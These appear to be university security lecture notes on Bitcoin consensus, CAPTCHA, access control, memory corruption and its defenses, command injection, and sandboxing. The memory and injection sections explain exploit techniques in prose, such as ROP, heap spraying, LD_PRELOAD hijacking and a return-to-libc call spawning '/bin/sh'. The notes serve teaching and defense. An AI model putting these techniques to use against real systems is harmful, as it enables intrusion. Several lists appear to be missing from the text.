To keep the average time between blocks near 10 minutes, Bitcoin automatically adjusts the mining difficulty every 2016 blocks (roughly every two weeks) using the Difficulty Adjustment Algorithm.

If miners collectively produce blocks too quickly, the algorithm decreases the target hash, making the puzzle harder.
If blocks are mined too slowly, it increases the target hash, making it easier.

This self-regulating mechanism ensures that Bitcoin's block production remains stable regardless of how much mining power joins or leaves the network.
Even as miners deploy more powerful hardware, the difficulty adjusts to maintain the 10-minute average.

Mining Hardware Evolution

Bitcoin mining has evolved through several generations of hardware:

Because finding a valid block hash is probabilistic (like winning a lottery), individual miners often join mining pools to share both the computational work and rewards.
Each miner's chance of success is proportional to their share of the total network computing power.

Consensus and Chain Selection

Nodes always follow the longest valid chain, meaning the chain with the greatest cumulative proof of work (not necessarily the most blocks).

Bitcoin doesn't have a single central authority to decide which chain is correct.
Instead, the network uses consensus mechanisms to ensure all nodes agree on which block represents the head of the chain.

Competing Chains and Forks

When two valid blocks are found nearly simultaneously, the blockchain temporarily splits into competing chains, a situation called a fork.

Because miners are distributed globally and it takes time for blocks to propagate across the network, it's possible for a miner in Asia and a miner in Europe to both find valid blocks at nearly the same moment.
Each broadcasts their block to nearby nodes, and for a short time, different parts of the network may be working on different versions of the chain.

Most miners simply work on whichever valid block they received first.
Over the next few minutes, one branch will likely grow longer as more blocks are added to it.
Once one chain becomes longer, all honest nodes switch to that chain, and the shorter branch is abandoned.
Transactions in the abandoned blocks return to the memory pool and typically get included in future blocks on the winning chain.

This is why Bitcoin transactions are not considered truly final until several blocks have been added after them—a practice called waiting for confirmations.

While accidental forks resolve naturally within minutes, an attacker could attempt to create a competing chain deliberately to reverse a transaction.
However, the computational cost of sustaining a competing chain long enough to overtake the honest chain makes such attacks impractical.

Security and the 51% Attack

For an attacker to modify an earlier transaction, they would need to redo all proof of work from that block onward and surpass the rest of the network.
With thousands of miners contributing massive computational power, catching up is practically impossible.

An attacker who controlled more than half of the total computational power of the network could, in theory, execute a 51% attack—rewriting recent history or excluding specific transactions.
However, the cost of acquiring and operating enough hardware to do this across the global Bitcoin network is so high that such an attack is effectively infeasible in practice.

Even if an attacker succeeded, the attack would likely destroy confidence in Bitcoin, making their stolen coins worthless—a strong economic disincentive.

Mining Rewards and Economics

Each newly mined block includes one special transaction, the coinbase transaction, that creates new bitcoins from nothing.
This is how new coins enter circulation.

The initial reward in 2009 was 50 BTC per block.
Every 210,000 blocks (roughly every four years), it halves:

Over time, as the block reward continues to halve, transaction fees are expected to become the main incentive for mining.
After 32 halvings, the reward will reach zero and there will be a maximum of around 21 million bitcoins in circulation.

Miners act honestly because their revenue depends on following the rules.
Any attempt to cheat or fork the chain would destroy their own reward.
This self-interest forms the backbone of Bitcoin's decentralized stability.

System Overview

Bitcoin's architecture combines four reinforcing layers:

Layer Purpose
Cryptography Provides data integrity and authorization using hashes and signatures.
Data structures Blockchain and Merkle trees maintain authenticated, tamper-evident storage.
Consensus Proof of Work coordinates the network without central authority.
Economics Block rewards and transaction fees motivate miners to act honestly.

Key concepts in Bitcoin's design:

Together, these layers allow strangers to agree on a single version of history without a trusted intermediary.
Bitcoin's design shows how cryptography, distributed computing, and incentives can replace institutional trust with mathematical verification.


Week 6: CAPTCHA

CAPTCHA stands for Completely Automated Public Turing test to tell Computers and Humans Apart.
It was designed to identify whether a user is human or an automated program.

It is not a method of authentication but a safeguard to keep automated software from abusing online systems—flooding comment sections, registering fake accounts, spamming, or scraping data at large scale.

The technique is a reverse Turing test—a test designed to verify that the user is human rather than a machine. It takes advantage of human perception: people recognize patterns and context better than early computer vision systems. CAPTCHAs use this difference by presenting visual or auditory tasks that humans can solve easily but machines initially could not.

Early Development

The first CAPTCHA appeared in the late 1990s when AltaVista added a text distortion test to stop automated URL submissions that were skewing search results.

In 2000, researchers formalized the concept with systems that displayed distorted words or generated random text strings with background noise to confuse optical character recognition software.

These early CAPTCHAs worked because of principles from Gestalt psychology, which explains how humans interpret visual information holistically. People naturally fill in missing parts and perceive coherent patterns even in noisy, ambiguous images. Humans could still identify characters despite distortion, clutter, and missing information, while algorithms could not.

Why CAPTCHA Is Still Used

Even with improved security models, websites still need quick ways to detect automation. CAPTCHAs help maintain the integrity and usability of online systems by:

While CAPTCHAs no longer stop every attack, they remain effective at filtering out basic automation.

Problems and Limitations

Over time, the weaknesses of CAPTCHA became apparent:

The result is an arms race: stronger CAPTCHAs frustrate humans more but still fail against advanced bots.

Evolution of CAPTCHA Systems

Text-based CAPTCHAs

Early systems displayed distorted words that humans could read but OCR software could not. Some versions used this human effort productively by having users transcribe text from scanned books that computers couldn't reliably read.

Image-based CAPTCHAs

As text recognition improved, systems shifted to visual recognition tasks:

These image-based puzzles used real-world photos to improve object-labeling accuracy while providing more challenging tests for bots.

Behavioral Analysis (NoCAPTCHA reCAPTCHA)

Modern systems moved away from explicit puzzles to analyzing user behavior.

NoCAPTCHA reCAPTCHA (v2): Introduced a simple checkbox ("I'm not a robot") combined with background analysis of:

A high confidence score lets users through instantly; low confidence triggers a fallback image puzzle.

Invisible verification: Completely removes user interaction. The system tracks behavior throughout a session and generates a trust score (0 to 1) indicating likelihood the user is human. Websites decide how to respond based on this score.

This approach reduced friction but raised privacy concerns about extensive behavioral tracking.

The AI Threat

By the 2020s, advances in AI nearly eliminated the distinctions between human and automated behavior:

Modern AI can convincingly mimic human behavior, erasing the distinction that CAPTCHAs rely on.

New Approaches and Threats

IllusionCAPTCHA

Uses AI-generated optical illusions that people can interpret but current AI systems cannot. Humans passed these tests about 83% of the time; AI models failed completely. This leverages a new asymmetry: humans remain better at interpreting perceptual illusions.

Fake CAPTCHAs as Attacks

Attackers have used imitation CAPTCHA boxes to trick users into running malicious scripts. Fake "I am not a robot" messages have been used to execute hidden commands or install malware, turning a trusted security mechanism into a social engineering vector.

Alternative Verification Methods

Other approaches include:

These methods supplement but don't replace CAPTCHAs and can still be circumvented.

Biometric Verification

As AI becomes indistinguishable from human users, some systems have shifted to physical identity verification using biometric data (such as iris scans) to create cryptographic proof of personhood.

This approach moves from perception-based tests to cryptographic guarantees that a real human is behind an interaction.

However, biometric verification raises significant concerns:

The Future of Human Verification

CAPTCHA worked by finding something humans did better than computers. That distinction is disappearing.

Future verification will likely depend on:

The challenge has shifted from proving "I am human" to proving "I am a trustworthy participant."


Week 6: Access Control

Underlying Protection Mechanisms for Access Control

Before studying access control models, it helps to understand the hardware and operating system features that make them possible.

The operating system enforces access control by managing both software and hardware resources. It allocates CPU time through the scheduler, ensuring that no process monopolizes the processor and that all processes get a fair chance to run. It configures the hardware timer, which generates periodic interrupts so the operating system can regain control of the CPU—this enables preemptive multitasking.

It also manages the Memory Management Unit (MMU), setting up each process’s page tables to define what regions of memory it can read, write, or execute. The MMU translates a process’s virtual addresses into physical memory and prevents one process from accessing another’s data.

Processors support at least two privilege levels:

These mechanisms ensure that untrusted code cannot modify the kernel or access protected resources directly. They provide the foundation on which all access control models -- discretionary, mandatory, and role-based -- are built.

Access control

Access control defines what authenticated users and processes are allowed to do. Its purpose is to preserve confidentiality, integrity, and availability by enforcing consistent rules for access to information and system resources.

Different models evolved as computing environments became larger and more complex. Each model solves specific problems but introduces new trade-offs.

The main models are Discretionary Access Control (DAC), Mandatory Access Control (MAC), Role-Based Access Control (RBAC), Attribute-Based Access Control (ABAC), and the Chinese Wall model.

The Access Control Matrix

Access control can be represented as a matrix showing which subjects (users or processes) have which rights over which objects (files, directories, or devices). Although the matrix is a conceptual model, it underlies nearly all practical access control mechanisms.

Two common implementations are:

This model inspired later systems such as UNIX file permissions and modern ACL-based operating systems.

Discretionary Access Control (DAC)

Discretionary Access Control gives control to the owner of an object. The owner decides who else can access it and what operations they may perform.

This model encourages sharing but relies heavily on user behavior and trust.

The UNIX / POSIX Model

UNIX and POSIX systems (e.g., Linux, macOS, Android, and the various flavors of BSD) implement DAC through file ownership, groups, and permission bits. Each file has an owner, an owning group, and three sets of permissions for the owner, group, and others.

Permissions are represented by three bits for each category: read (r), write (w), and execute (x).
For example, rwxr-xr-- means the owner can read, write, and execute; the group can read and execute; others can read only.

The chmod command changes permissions, chown changes ownership, and chgrp changes the owning group.

A user’s umask defines which permissions are removed from newly created files, preventing overly permissive defaults.

Each process runs with a real user ID (ruid) and an effective user ID (euid), which determine ownership and access rights.

UNIX uses the setuid and setgid bits to let certain programs temporarily assume the privileges of the file’s owner or group. This is useful for programs that must perform privileged actions, such as changing a password, but it is also risky. Any vulnerability in a setuid program can grant attackers full system privileges.

Modern Linux systems support extended attributes (ACLs), which provide more flexible per-user or per-group permissions than the simple owner-group-other model.

Principle of Least Privilege and Privilege Separation

DAC systems rely on careful assignment of permissions. The principle of least privilege states that each user or process should have only the permissions necessary to complete its task.

Privilege separation divides a program into privileged and unprivileged parts so that most operations run with minimal authority.
For example, a web server may start as root only to bind to a port, then drop privileges for normal operation.

Weaknesses of DAC

DAC is easy to administer and flexible but insecure for high-assurance environments. Users can share data freely, and malicious software can exploit user privileges to leak or destroy data.

DAC cannot enforce consistent organizational or system-wide policies.

Mandatory Access Control (MAC)

Mandatory Access Control enforces a system-wide security policy that users cannot override.

Both subjects and objects have security labels, and access decisions depend on comparing these labels. Users are assigned clearance levels, and resources are assigned classification levels.

This model was originally developed for military and intelligence systems that required strict confidentiality.

Bell–LaPadula Model (Confidentiality)

The Bell–LaPadula (BLP) model is the foundation of what is known as multilevel security (MLS).

In an MLS system, both users (subjects) and data (objects) are labeled with levels such as Unclassified, Confidential, Secret, and Top Secret.

Access decisions depend on these relative levels, enforcing “no read up” and “no write down” to prevent data from flowing from higher to lower classifications.

The Bell–LaPadula model ensures confidentiality through two main rules:

  1. Simple Security Property: no read up. A subject cannot read information above its clearance level.

  2. Star (★) Property: no write down. A subject cannot write information to a lower classification level.

A third rule, the Discretionary Security Property, allows normal access control lists within the bounds of the mandatory policy.

This ensures information flows only upward in classification, preserving confidentiality.

Weaknesses: The model protects secrecy but not integrity. It also makes collaboration difficult since data cannot be shared downward without special downgrading mechanisms.

Multilateral Security and the Lattice Model

Organizations often require boundaries between peers at the same classification level. Multilateral security extends Bell–LaPadula by dividing each level into compartments, which represent separate projects, missions, or domains of information. A user must have both the appropriate clearance and authorization for the relevant compartment.

For example:

This approach enforces the need-to-know principle, ensuring that access within the same classification level is limited to those who require it for their duties.

The lattice model formally defines the relationship between classifications and compartments.

Label A dominates label B if its classification level is greater than or equal to B’s and its compartments include those of B. Information can only flow upward in this lattice.

Weaknesses: This approach enforces strong confidentiality but is complex to administer. Managing compartments and clearances becomes difficult at scale, and cross-compartment collaboration is often restricted.

Biba Model (Integrity)

The Biba model complements Bell–LaPadula by protecting data integrity instead of secrecy. It reverses the BLP rules:

This ensures that untrusted input cannot corrupt trusted data or processes. Biba models appear in applications where data accuracy matters more than confidentiality, such as medical or financial systems.

Microsoft Mandatory Integrity Control implements a simplified version of Biba in Windows.

It labels processes and objects as Low, Medium, High, or System integrity and enforces a no write up rule. Microsoft Mandatory Integrity Control prevents low-integrity programs like browsers from altering system files. Later versions of Windows integrated it into the AppContainer framework, combining it with capability-based restrictions.

Weaknesses: Biba models may block legitimate data flow and are rarely practical for general-purpose systems. Like Bell–LaPadula, they are most effective in specialized environments.

Type Enforcement (SELinux)

Type Enforcement provides a practical way to apply MAC in general-purpose systems.

Processes run in domains, and files and resources are labeled with types.

A policy defines which domains may access which types and how.
For example, a web server in domain httpd_t may read only files labeled httpd_sys_content_t.
This prevents compromised software from affecting other parts of the system.

Type Enforcement forms the basis of SELinux, SEAndroid, and similar systems. It allows fine-grained control and isolation but can be difficult to configure and audit.

Type Enforcement provides the strongest form of containment in modern UNIX systems and remains the most practical way to apply MAC in general-purpose environments.

Role-Based Access Control (RBAC)

RBAC shifts control from individual users to organizational roles. Permissions are assigned to roles, and users acquire permissions by being assigned to roles.

A user may activate one or more roles during a session, depending on the task. A user’s effective permissions are determined by the roles that are active in that session; inactive roles contribute no privileges.

Roles correspond to job functions such as Doctor, Nurse, Manager, or Auditor.
This model scales well in large organizations where many users perform similar tasks.

Role hierarchies allow senior roles to inherit permissions from junior ones.
Constraints enforce separation of duties, ensuring that no single person can perform conflicting actions such as initiating and approving a transaction.

RBAC fits naturally with business structures and enables consistent policy enforcement across systems. It is used in databases, enterprise directories, and cloud identity management.

Weaknesses: RBAC works well for static organizations but cannot express context such as time, location, or risk level. Large deployments may suffer from role explosion when too many narrowly defined roles are created.

Attribute-Based Access Control (ABAC)

ABAC extends RBAC by using attributes instead of fixed roles to make access decisions. Attributes describe properties of users, objects, and the environment, allowing flexible and context-sensitive control.

An example policy might be:

Allow access if the user's department equals the object's department and the request occurs during business hours.

Example Attributes

ABAC policies are evaluated and enforced by distributed policy engines, often across multiple systems in large-scale environments.

They allow dynamic conditions but can be complex to test and manage.
Cloud platforms such as AWS IAM and Google Cloud use ABAC-style rules to refine role-based access.

Weaknesses: ABAC offers flexibility but poor transparency.
Policies may interact in unexpected ways, and administrators may find it difficult to reason about all possible conditions.

The Chinese Wall Model

The Chinese Wall model handles conflicts of interest in consulting, law, and finance.

Access depends on a user’s history, not just attributes or roles.
Once a user accesses data for one client, the system prevents access to competing clients’ data within the same conflict class.

For example, a consulting firm may define:

An analyst who views Coca-Cola’s data can no longer view PepsiCo’s or Keurig Dr Pepper’s confidential data, but can still access airline clients.
This dynamic restriction enforces need-to-know and prevents cross-client information flow.

The model is a dynamic form of separation of duties, where restrictions depend on a user’s previous actions rather than static role definitions.

Sanitizing Data

In practice, sanitized or anonymized information may be shared across conflict classes without violating the Chinese Wall policy.

Aggregate statistics or generalized insights can be used safely once identifying details are removed, allowing useful analysis while maintaining confidentiality.

Weaknesses: It requires accurate tracking of user activity and careful definition of conflict classes. Overly broad classes can block legitimate work; overly narrow ones may miss conflicts.

Comparative Overview

Access control models evolved to address different needs and trade-offs.

Model Main Focus Policy Defined By Dynamics Strength Weakness
DAC Ownership and sharing User Static Simple and flexible No containment; user-dependent
MAC Confidentiality and integrity System Static Strong enforcement Complex and inflexible
RBAC Job functions Administrator Limited Scalable and structured Static; prone to role explosion
ABAC Context and attributes Policy engine Dynamic Flexible and context-aware Hard to audit and manage
Chinese Wall Conflict of interest System (history-based) Dynamic Enforces ethical boundaries Administratively complex

Key Takeaways


Week 7: Memory Vulnerabilities and Defenses

Understanding memory vulnerabilities is essential to understanding how systems fail and how they are defended. We want to understand how memory errors arise, how they are exploited, and how modern systems defend against them.

Memory Corruption and Exploitation

Most software vulnerabilities stem from incorrect handling of memory. In C and C++, the compiler trusts the programmer to manage memory correctly. When programs read or write beyond valid memory boundaries, they corrupt nearby data and sometimes control structures. These problems lead to memory corruption, the root cause of buffer overflows, integer overflows, and use-after-free bugs.

Process Memory Layout

Every running program occupies virtual memory organized into distinct regions. Understanding this layout is important because vulnerabilities arise from how programs use these regions incorrectly:

This layout is consistent across most UNIX, Linux, and Windows systems, though exact addresses vary.

Because the address space on current processors is huge, systems leave unmapped memory between these regions as guard zones. An overflow that extends beyond its region will typically hit unmapped memory and trigger a segmentation fault before reaching another valid region.

Stack Buffer Overflows

A buffer overflow happens when data exceeds the size of a destination buffer. Stack buffer overflows are particularly dangerous because of how the stack organizes function data.

When a function is called, the compiler creates a stack frame containing the function's parameters, the return address (where execution should resume after the function completes), saved registers, and local variables. The stack grows downward in memory: each new function call creates a frame at a lower memory address than the previous one. Within a frame, local variables are typically stored at lower addresses than the saved return address.

This arrangement creates a critical vulnerability. When a buffer overflow occurs in a local variable, the excess data writes into memory at higher addresses, moving "up" through the stack frame. If the overflow is large enough, it overwrites other local variables first, then the return address itself. When the function attempts to return, the CPU pops the corrupted return address from the stack and jumps to it. If an attacker controls the overflow data, they can redirect execution to attacker-chosen code.

Consider a local character array of 16 bytes. If an unsafe function like gets() copies 100 bytes into this array, the excess 84 bytes overwrite whatever happens to be stored in the higher addresses of the stack frame. The attack succeeds because the stack holds both user data (the buffer) and control data (the return address) in adjacent memory, with no enforced boundary between them.

Heap Buffer Overflows

Heap buffer overflows work differently because heap memory has a different structure. When malloc() allocates memory, the allocator maintains metadata adjacent to each allocated block. This metadata includes the size of the block, status flags, and pointers that link free blocks together in the allocator's free lists.

A heap overflow occurs when data written to an allocated buffer extends past its boundary into adjacent memory. Unlike stack overflows that target return addresses, heap overflows typically corrupt either the metadata of neighboring blocks or the contents of adjacent allocations. If the overflow corrupts allocator metadata, subsequent malloc() or free() operations may behave unpredictably, potentially allowing an attacker to write arbitrary values to chosen memory locations. If the overflow corrupts a neighboring allocation, the attacker may overwrite application data structures, including function pointers or object vtables that control program behavior.

Integer overflows are subtler. Arithmetic that exceeds the maximum value of a type wraps around to zero. A calculation that allocates too small a buffer, for example, can make a later copy operation overwrite adjacent memory. Off-by-one errors fall into the same category: a loop that copies one extra byte can overwrite a boundary value such as a null terminator or a saved pointer.

Use-after-free bugs occur when a program continues to use memory after freeing it. The physical memory still exists and may contain old data, but the allocator can reuse it at any time. If the allocator reuses that memory for another object, the program may dereference stale pointers that now point to attacker-controlled data. Attackers exploit this through heap spraying: filling the heap with controlled data so that freed memory likely contains attacker values when accessed. This can redirect function pointers or vtable pointers to attacker-controlled addresses.

Double-free bugs occur when the same memory is freed twice. This corrupts the allocator's internal free lists, which link available chunks using pointers stored in the freed memory itself. After a double-free, the allocator may return the same memory address from two separate malloc() calls, breaking memory isolation. Attackers can manipulate free-list pointers to force the allocator to return pointers to arbitrary memory locations.

Format-string vulnerabilities appear when untrusted input is used directly as a format argument to printf or similar functions. Directives such as %x print data from the stack, and %n writes a value to a memory address that is read from the stack. If the format string comes from user input, the attacker can read memory or even write arbitrary values to attacker-chosen locations.

Early exploits injected shellcode, machine instructions placed into a writable buffer, and redirected execution to run them. When systems began marking writable pages as non-executable, attackers adapted their techniques to work within these new constraints.

Defensive Mechanisms

Each defensive measure was developed to close a gap that earlier systems left open. Together, they form the layered protection that modern systems rely on.

Non-executable memory (NX, DEP, W^X)

The first step was to separate code from data. NX (No eXecute) or DEP (Data Execution Prevention) marks writable memory as non-executable. This capability is provided by the processor's memory management unit (MMU) and configured by the operating system when it sets up page permissions. The CPU refuses to execute any instructions from pages marked non-executable, preventing injected shellcode from running. NX does not stop memory corruption itself, but it eliminates the simplest outcome: running arbitrary injected code.

Adapting to non-executable memory

When NX made shellcode injection impractical, attackers shifted to code reuse techniques. These approaches work because they execute only code that is already marked executable: they simply chain it together in ways the original programmers never intended.

Return-to-libc was the first widely used code reuse technique. Instead of injecting shellcode, an attacker overwrites a return address to point to an existing library function such as system(). By carefully arranging data on the stack, the attacker can make that function execute with attacker-chosen arguments. For example, redirecting to system("/bin/sh") spawns a shell without injecting any code.

Return-to-libc works because library functions are already executable. The attack reuses trusted code for untrusted purposes. The main limitation is that the attacker must find a single function that accomplishes their goal and must be able to set up its arguments correctly.

Return-oriented programming (ROP) generalizes this idea. Instead of calling a single function, ROP chains together short sequences of instructions called gadgets. Each gadget is a fragment of existing code that ends with a return instruction. By placing a sequence of gadget addresses on the stack, an attacker can compose arbitrary computation from these fragments.

ROP works because each gadget ends with a return, which pops the next address from the stack and jumps there. The attacker controls what addresses are on the stack, effectively writing a program out of pre-existing instruction sequences. With enough gadgets, an attacker can perform any operation (load values, perform arithmetic, make system calls) all without injecting a single byte of code.

ROP is more powerful than return-to-libc but also more complex. The attacker must find suitable gadgets in the executable memory of the target process and must know their addresses. This requirement explains why address randomization (ASLR) is so important: it makes gadget locations unpredictable.

Address-space layout randomization (ASLR)

Return-to-libc and ROP showed that NX alone was not enough. Attackers could still call existing functions or chain gadgets if they knew their addresses. ASLR fixed that by randomizing the layout of the process address space. Each run places the stack, heap, and libraries at unpredictable locations. Without that knowledge, hardcoded addresses no longer work reliably. ASLR's strength depends on the randomness available and on the absence of information leaks that reveal memory addresses.

Stack canaries

Stack canaries add a small random value between local variables and saved control data on the stack. The program checks the value before returning from a function. If the canary changed, execution stops. This defense detects stack overflows that overwrite return addresses, preventing direct control hijacking. The idea is simple but powerful: any corruption that changes the control data must also change the canary.

Heap canaries and allocator hardening

Heap corruption exploits were once as common as stack overflows. Modern allocators introduced defenses modeled after stack canaries and added several more.

Heap blocks may include heap canaries (or cookies): small guard values placed before or after each block's user data. When a block is freed, the allocator verifies that the guard is intact. If an overflow or underflow modified it, the program aborts.

Allocators also use safe unlinking to validate free-list pointers, pointer mangling to encode metadata with a secret, and quarantining to delay reuse of freed blocks. Quarantining prevents use-after-free exploitation by holding freed memory in a queue before making it available for reuse. Double-free detection tracks whether chunks are currently free and aborts if the same memory is freed twice. These techniques make heap corruption much less predictable and far harder to exploit.

Safer libraries and compiler checks

Many vulnerabilities arise from unsafe standard functions such as gets, strcpy, or sprintf, which do not enforce buffer limits. Modern compilers and libraries address this by warning developers or substituting safer variants like fgets, strncpy, and snprintf. Options such as FORTIFY_SOURCE in gcc can perform runtime checks to detect certain unsafe copies. The goal is to eliminate the easy mistakes that once led to catastrophic failures.

Linker and loader hardening

Dynamic linking once allowed attackers to tamper with relocation tables and redirect function calls. Linker and loader hardening, such as RELRO (RELocation Read-Only), marks these tables read-only after initialization and resolves symbols early. This removes the possibility of overwriting linkage data to redirect control flow.

Development-time Protections

Preventing memory vulnerabilities during development is more effective than mitigating them at runtime. Modern testing tools make many memory bugs visible before deployment.

Compiler instrumentation can add runtime checks to detect invalid memory operations and arithmetic errors during testing. An AddressSanitizer (ASan) is the most widely used tool: it detects buffer overflows, use-after-free, and double-free by maintaining shadow memory that tracks the state of every byte. When memory is freed, ASan marks it as invalid and quarantines it to increase the detection window. These checks turn silent corruption into clear, reproducible failures. These features are used only during development because they slow execution (2-3x overhead), but they find the same classes of vulnerabilities that attackers exploit.

Fuzzing complements compiler instrumentation by generating a large number of random or mutated inputs, watching for crashes and test failures. Coverage-guided fuzzers automatically explore new code paths and expose edge cases that human testing might never reach. Fuzzing does not prove correctness;it simply finds the conditions that lead to failure. Combined with compiler instrumentation, it is one of the most effective ways to uncover memory-safety bugs before software is released.

Together, these testing tools address the visibility problem: they make hidden memory errors observable and fixable long before deployment.

Hardware Mechanisms

Modern processors now assist in enforcing memory safety directly.

Control-flow integrity (CFI). Hardware support such as Intel's Control-flow Enforcement Technology (CET) protects return addresses and indirect branches. A shadow stack stores a verified copy of each return address, detecting tampering. Indirect branch tracking ensures jumps go only to legitimate targets.

Pointer authentication. Some architectures add a short integrity check to pointer values so the processor can detect when a pointer has been modified. This prevents forged return addresses or corrupted function pointers from being used.

Memory tagging. Hardware features like ARM's Memory Tagging Extension (MTE) associate small tags (4 bits) with memory allocations and pointers. When memory is freed, its tag changes. Any subsequent access through a pointer with the old tag triggers an exception. The processor checks tags on each access, revealing use-after-free and out-of-bounds errors with minimal performance cost (<5% overhead). These features extend the same principle as software defenses (detect corruption and verify integrity) but enforce it in hardware.

How the Layers Work Together

Memory protection is not one mechanism but a collaboration across the system.

Each layer covers weaknesses the others cannot. NX stops shellcode. ASLR hides addresses. Canaries detect overwrites. Allocator hardening prevents metadata abuse. Hardware features validate control flow. Testing tools find the bugs that remain. No single technique provides security, but together they make exploitation unreliable and expensive.

Main points


Week 8: Command Injection and Input Validation Attacks

Command injection attacks exploit how programs interpret user input as executable commands rather than as data. They differ from memory corruption: the attacker alters what command runs instead of what code runs. These attacks affect databases, shells, file systems, and development environments, and remain among the most persistent classes of software vulnerabilities.

SQL Injection

SQL injection manipulates database queries by embedding SQL syntax in user input. It can expose, alter, or delete data and even execute administrative commands.

Primary Defenses

The core defense is to keep query structure fixed and pass data separately through:

Secondary Defense

Input validation and sanitization add a second layer but cannot be relied on alone. Use allowlists that specify what characters are permitted, not denylists that try to block dangerous patterns. Sanitization through escaping special characters (e.g., using database-specific escaping functions) can help but is error-prone and should never replace parameterized queries.

NoSQL Injection

NoSQL databases avoid SQL syntax but still parse user input that can include operators or code. Injection can happen when JSON or query operators are accepted unchecked.

Defense principles:

Shell Command Injection

Shell injection exploits programs that pass user input to command interpreters like sh, bash, or cmd.exe. Shell metacharacters (;, |, $(), backticks) enable attackers to append new commands or substitute results.

Safest defense: Avoid shells entirely and use system APIs that execute programs directly, passing arguments as separate parameters (e.g., execve() with argument array, Python's subprocess with shell=False).

When shell use is unavoidable, combine allowlist validation with proper sanitization (e.g., shlex.quote() in Python to escape shell metacharacters), and run the process with minimal privileges.

Environment Variable Attacks

Programs inherit environment variables that control their behavior. These can be exploited through two distinct attack vectors.

Command Resolution Attacks (PATH, ENV, BASH_ENV)

Attack mechanism: Control which executable runs when a program or script invokes a command by name.

PATH manipulation redirects command lookups by placing attacker-controlled directories early in the search path. When a script runs ls or wget, the shell searches PATH directories in order. An attacker who can modify PATH or write to an early PATH directory can substitute malicious executables.

ENV and BASH_ENV specify initialization scripts that run when shells start. If controlled by an attacker, these variables cause arbitrary commands to execute at the beginning of every shell script, affecting system scripts and cron jobs.

Defenses:

Library Loading Attacks (LD_PRELOAD, LD_LIBRARY_PATH, DLL Sideloading)

Attack mechanism: Control which shared libraries are loaded into running programs, allowing function-level hijacking rather than executable replacement.

LD_PRELOAD (Linux/Unix) specifies libraries to load before all others, enabling attackers to override standard library functions like malloc(), read(), or rand(). Through function interposition, the attacker's replacement function can call the original after modifying parameters or logging data - making attacks stealthy since the program continues to work normally while being monitored or manipulated.

LD_LIBRARY_PATH (Linux/Unix) redirects library searches to attacker-controlled directories before system directories.

DLL sideloading (Windows) exploits the DLL search order. Windows searches the executable's directory before system directories, allowing attackers to place malicious DLLs that will be loaded instead of legitimate system libraries.

Why library loading attacks are distinct:

Defenses:

Package and Dependency Attacks

Modern software depends heavily on third-party packages. Attackers exploit this through typosquatting (packages with names similar to popular ones), dependency confusion (preferring public packages over internal ones), and malicious installation scripts.

These are supply chain attacks rather than direct code injection but have the same effect: untrusted code executes with developer privileges. They represent command injection at build time—they exploit the same trust failure but target development environments instead of running applications.

Path Traversal

Path traversal occurs when user input controls file paths and uses relative path elements (..) to escape restricted directories. Attackers may exploit symbolic links, encoding tricks, or platform differences to bypass filters.

Path equivalence is a related vulnerability where multiple different path strings can reference the same file or directory. Operating systems and file systems may treat paths as equivalent even when they differ textually. Examples include: redundant slashes (///file vs /file), alternative separators (\ vs / on Windows), case variations on case-insensitive systems, or mixed use of . (current directory). Attackers exploit path equivalence to bypass validation that checks for exact string matches, allowing access to restricted resources through alternate representations.

Defenses:

Path traversal and character encoding attacks often overlap. Both exploit how systems interpret or normalize input paths, and both are prevented by consistent canonicalization—resolving paths and encodings to a standard form before applying security checks.

Character Encoding Issues

Encoding attacks rely on multiple representations of the same character to bypass validation. Overlong UTF-8 encodings and nested URL encodings can slip through checks that decode input later.

General rule: Decode and normalize before validating. Applications should reject ambiguous encodings and rely on standard, well-tested parsing libraries rather than custom decoders.

Race Conditions (TOCTTOU)

A time-of-check to time-of-use (TOCTTOU) vulnerability arises when a resource changes between validation and use. This can allow an attacker to substitute a protected file or link after a permissions check.

Fixes:

File Descriptor Misuse

Programs often assume that standard input, output, and error descriptors (0, 1, 2) are valid. If an attacker closes these before running a privileged program, new files may reuse those descriptor numbers. Output intended for the terminal may overwrite sensitive files.

Defense: Secure programs verify and reopen descriptors 0–2 before performing any file operations.

Input Validation

Input validation underpins all injection defenses but is difficult to implement correctly.

Validation Approaches

Allowlisting (safest)
Specify what is allowed. Accept only characters, patterns, or values that are explicitly permitted. Unknown inputs are rejected by default.
Denylisting (less safe)
Specify what is forbidden. Reject input containing dangerous patterns. Attackers often find bypasses through creative encodings or edge cases.

Sanitization Techniques

When potentially dangerous input must be processed, sanitization modifies it to make it safe:

Escaping special characters
Add escape sequences to neutralize characters with special meaning in the target context (SQL, shell, etc.). Use established libraries like Python's shlex.quote() for shell commands rather than manual escaping.
Removing or replacing characters
Strip out or substitute dangerous characters entirely. This is simpler than escaping but may be too restrictive for legitimate input.

Important: Sanitization should be context-specific and used as a secondary defense alongside proper APIs that separate commands from data.

Key Principles

Comprehension and Design Errors

Most injection flaws result from misunderstandings: programmers don't fully grasp how interpreters parse input or how system calls behave.

Common misunderstandings:

Reducing errors:

Defense in Depth

No single control can prevent all injection vulnerabilities. Secure systems rely on multiple layers:

  1. Validate input at boundaries using allowlists where possible

  2. Use APIs that isolate data from code (parameterized queries, argument arrays)

  3. Run with least privilege and sandbox where possible

  4. Audit and test for injection behaviors through code review and penetration testing

  5. Monitor for suspicious activity through logging and anomaly detection

Command and input injection attacks persist because they exploit human assumptions about how software interprets input. Understanding those interpretations -- and designing systems that never blur data and commands -- is essential for secure programming.


Week 8: Containment and Application Isolation

Containment limits what a compromised process can do after an attack succeeds. Even with proper input validation, vulnerabilities may remain, and if an attacker gains control of a process, traditional access controls become ineffective since the operating system assumes the process acts within its assigned privileges. Containment creates isolation boundaries that confine the impact of a faulty or malicious program, preventing it from affecting the rest of the system.

Containment operates at multiple layers:

Application Sandboxing

A sandbox is a restricted execution environment that mediates interactions between an application and the operating system by limiting resource access, system calls, and visible state. Sandboxing evolved from early filesystem-based confinement to kernel-level and language-level environments that can restrict both native and interpreted code.

Filesystem-Based Containment

chroot

The chroot system call changes a process's view of the root directory to a specified path, so all absolute paths are resolved relative to that new root. Child processes inherit this environment, creating a chroot jail. This mechanism affects only the filesystem namespace and does not restrict privileges or system calls.

A process with root privileges inside a chroot jail can escape by:

The chroot mechanism provides no limits on CPU, memory, or I/O usage and requires copying all dependent executables, libraries, and configuration files into the jail. While still used for testing or packaging, chroot is not suitable for reliable containment.

FreeBSD Jails

FreeBSD Jails extended chroot by adding process and network restrictions, but still lacked fine-grained resource management.

System Call-Based Sandboxes

The system call interface defines the actual power of a process, as every interaction with resources goes through a system call. A system call sandbox intercepts calls and applies a policy before allowing execution, with enforcement occurring either in user space or within the kernel.

User-Level Interposition

